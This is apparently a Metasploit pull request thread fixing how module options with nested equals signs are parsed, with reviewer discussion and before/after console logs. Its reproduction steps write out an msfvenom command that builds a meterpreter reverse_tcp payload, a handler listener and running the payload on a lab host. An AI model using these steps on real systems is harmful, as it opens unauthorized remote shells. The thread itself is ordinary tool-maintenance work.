Fix parsing of module options with special characters

[hamax97]

trafficstars

Fixes bug #16578 and other related (non-reported) bugs found in the way. Following is the list of issues found:

1. Issue parsing COMMAND option that contains nested equals sign ‘=’ in meterpreter shell

Steps to reproduce

Create payload and copy payload into remote Linux host:

$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<your local ip addr> LPORT=4444 -f elf -o payload

Open listener in local host:

msf6> use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD payload/linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <your local ip addr>
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > set ExitOnSession false
msf6 exploit(multi/handler) > exploit -j

Execute payload in remote host:

$ chmod +x payload
$ ./payload

Attach to meterpreter session in local host:

msf6 exploit(multi/handler) > sessions -i <session id>

Run command in remote host inside meterpreter shell:

meterpreter> run post/multi/general/execute COMMAND='date --date=2023-01-01 --iso-8601=ns'

Output

Verify command is not executed with expected flags, the command's flag is trimmed after the equals sign ‘=’:

[*] Executing date --date on Session:meterpreter 172.26.224.1:58704 (172.26.224.1) "msfadmin @ metasploitable.localdomain"...
[*] Response: date: option `--date' requires an argument
Try `date --help' for more information.

Expected output

Verify that command executes with expected arguments:

[*] Executing date --date=2023-01-01 --iso-8601=ns on Session:meterpreter 172.26.224.1:54210 (172.26.224.1) "msfadmin @ metasploitable.localdomain"...
[*] Response: 2023-01-01T00:00:00,000000000-0500

Additional information

This same bug exists in file: lib/msf/core/data_store_with_fallbacks.rb. To test it enable the feature datastore_fallbacks:

msf6> features set datastore_fallbacks false

Restart framework and follow steps above.

Fixes

• fix: parse COMMAND with nested '=' in meterpreter
• test: added rspec tests for 6074d1a

2. Issues parsing commands when using a module directly

Steps to reproduce

Set up session as explained above, but this time don’t enter into a meterpreter shell.

msf6> use post/multi/general/execute
msf6 post(multi/general/execute) > set SESSION <your session id>

Now, all these variations cause problems:

• msf6 post(multi/general/execute) > run COMMAND='date --date=2023-01-01'

Output, verify that the command executed is only date without flags:

[*] Executing date on Session:meterpreter 172.26.224.1:50405 (172.26.224.1) "msfadmin @ metasploitable.localdomain"...
[*] Response: Wed Jan  4 06:34:46 EST 2023
[*] Post module execution completed

• msf6 post(multi/general/execute) > run COMMAND='date -d 2023-01-01 --iso-8601=ns'

Output, verify that the command is not even executed:

[-] Post failed: Rex::ArgumentParseError The argument could not be parsed correctly.
[-] Call stack:
[-]   /home/htobonm/workspace/metasploit-framework/lib/msf/core/data_store.rb:124:in `each'
[-]   /home/htobonm/workspace/metasploit-framework/lib/msf/core/data_store.rb:124:in `import_options_from_s'

Expected output

Something similar to:

[*] Executing date -d 2023-01-01 -Ins on #<Session:meterpreter 172.26.224.1:50405 (172.26.224.1) "msfadmin @ metasploitable.localdomain">...
[*] Response: 2023-01-01T00:00:00,000000000-0500
[*] Post module execution completed

Additional information

• When running the same command with the alias flags that don’t include equals sign ‘=’, it works. For example:

msf6 post(multi/general/execute) > run COMMAND="date -d 2023-01-01 -Ins"

Output:

[*] Executing date -d 2023-01-01 -Ins on Session:meterpreter 172.26.224.1:50405 (172.26.224.1) "msfadmin @ metasploitable.localdomain"...
[*] Response: 2023-01-01T00:00:00,000000000-0500
[*] Post module execution completed

• When setting the COMMAND option before running the module, it works most of the time (as shown above with the unmatched quote issue). For example:

msf6 post(multi/general/execute) > set COMMAND 'date --date=2023-01-01 --iso-8601=ns'
msf6 post(multi/general/execute) > run

Output, verify that run is executed without inline options, and works:

[*] Executing date --date=2023-01-01 --iso-8601=ns on Session:meterpreter 172.26.224.1:50405 (172.26.224.1) "msfadmin @ metasploitable.localdomain"...
[*] Response: 2023-01-01T00:00:00,000000000-0500
[*] Post module execution completed

Fixes

• fix: cmd_run: remove unnecessary map

[sempervictus]

Offhand, i can't come up with any situation where the split approach would produce an error - so i think this works. Question on my mind is why this was not done like this in the 1st place, whether there was some reason for the CommandStr mess which we're not considering.

[hamax97]

@sempervictus it seems like these kind of strings were not considered. May be, if they were considered and the split was left like that on purpose, the author would've left a comment. In fact, if those kind of strings would've been considered, I think the original author would've used the Shellwords.shellwords method to parse those complicated strings. Just a thought anyway.

[sempervictus]

git blame says @smcintyre-r7 (@zeroSteiner) last touched that section but the commit (11ca76cacc) is following the prior pattern in the file. @smcintyre-r7: could you please peek at this? I think its viable and solves a nasty bug

[smcintyre-r7]

These changes look reasonable to me. Is there something we're waiting on for this to be undrafted?

[gwillcox-r7]

@hamax97 Edited one part of your overview (very nicely written btw, thanks for putting all this info into the description it really helps a lot!) since you were disabling the feature that you wanted to enable for testing, so updated the command to enable the feature instead of disabling it.

[gwillcox-r7]

Overall looks good minus the one comment I left above. Will do some testing so long since that comment should not affect code since its just a doc file.

[gwillcox-r7]

Before:

msf6 exploit(multi/handler) > 
[*] Sending stage (1017704 bytes) to 192.168.153.128
[*] Meterpreter session 1 opened (192.168.153.128:4444 -> 192.168.153.128:34120) at 2023-01-31 10:25:24 -0600

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > run post/multi/general/execute COMMAND='date --date=2023-01-01 --iso-8601=ns'

[*] Executing date --date on #<Session:meterpreter 192.168.153.128:34120 (192.168.153.128) "gwillcox @ 192.168.153.128">...
[*] Response: date: option '--date' requires an argument
Try 'date --help' for more information.
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/general/execute 
msf6 post(multi/general/execute) > set SESSION 1 
SESSION => 1
msf6 post(multi/general/execute) > run COMMAND='date --date=2023-01-01'

[*] Executing date on #<Session:meterpreter 192.168.153.128:34120 (192.168.153.128) "gwillcox @ 192.168.153.128">...
[*] Response: Tue Jan 31 10:27:53 CST 2023
[*] Post module execution completed
msf6 post(multi/general/execute) > 

[gwillcox-r7]

After, showing this issue is now fixed:

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > run post/multi/general/execute COMMAND='date --date=2023-01-01 --iso-8601=ns'

[*] Executing date --date=2023-01-01 --iso-8601=ns on #<Session:meterpreter 192.168.153.128:60484 (192.168.153.128) "gwillcox @ 192.168.153.128">...
[*] Response: 2023-01-01T00:00:00,000000000-06:00
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/general/execute 
msf6 post(multi/general/execute) > set SESSION 1 
SESSION => 1
msf6 post(multi/general/execute) > run COMMAND='date --date=2023-01-01'

[*] Executing date --date=2023-01-01 on #<Session:meterpreter 192.168.153.128:60484 (192.168.153.128) "gwillcox @ 192.168.153.128">...
[*] Response: Sun Jan  1 00:00:00 CST 2023
[*] Post module execution completed
msf6 post(multi/general/execute) > 

[gwillcox-r7]

Thanks for this PR @hamax97 much appreciate you fixing this!

[gwillcox-r7]

Release Notes

A bug has been fixed whereby issuing a command line argument that contained nested equals signs would not be parsed correctly, and would instead be treated as two separate command line statements.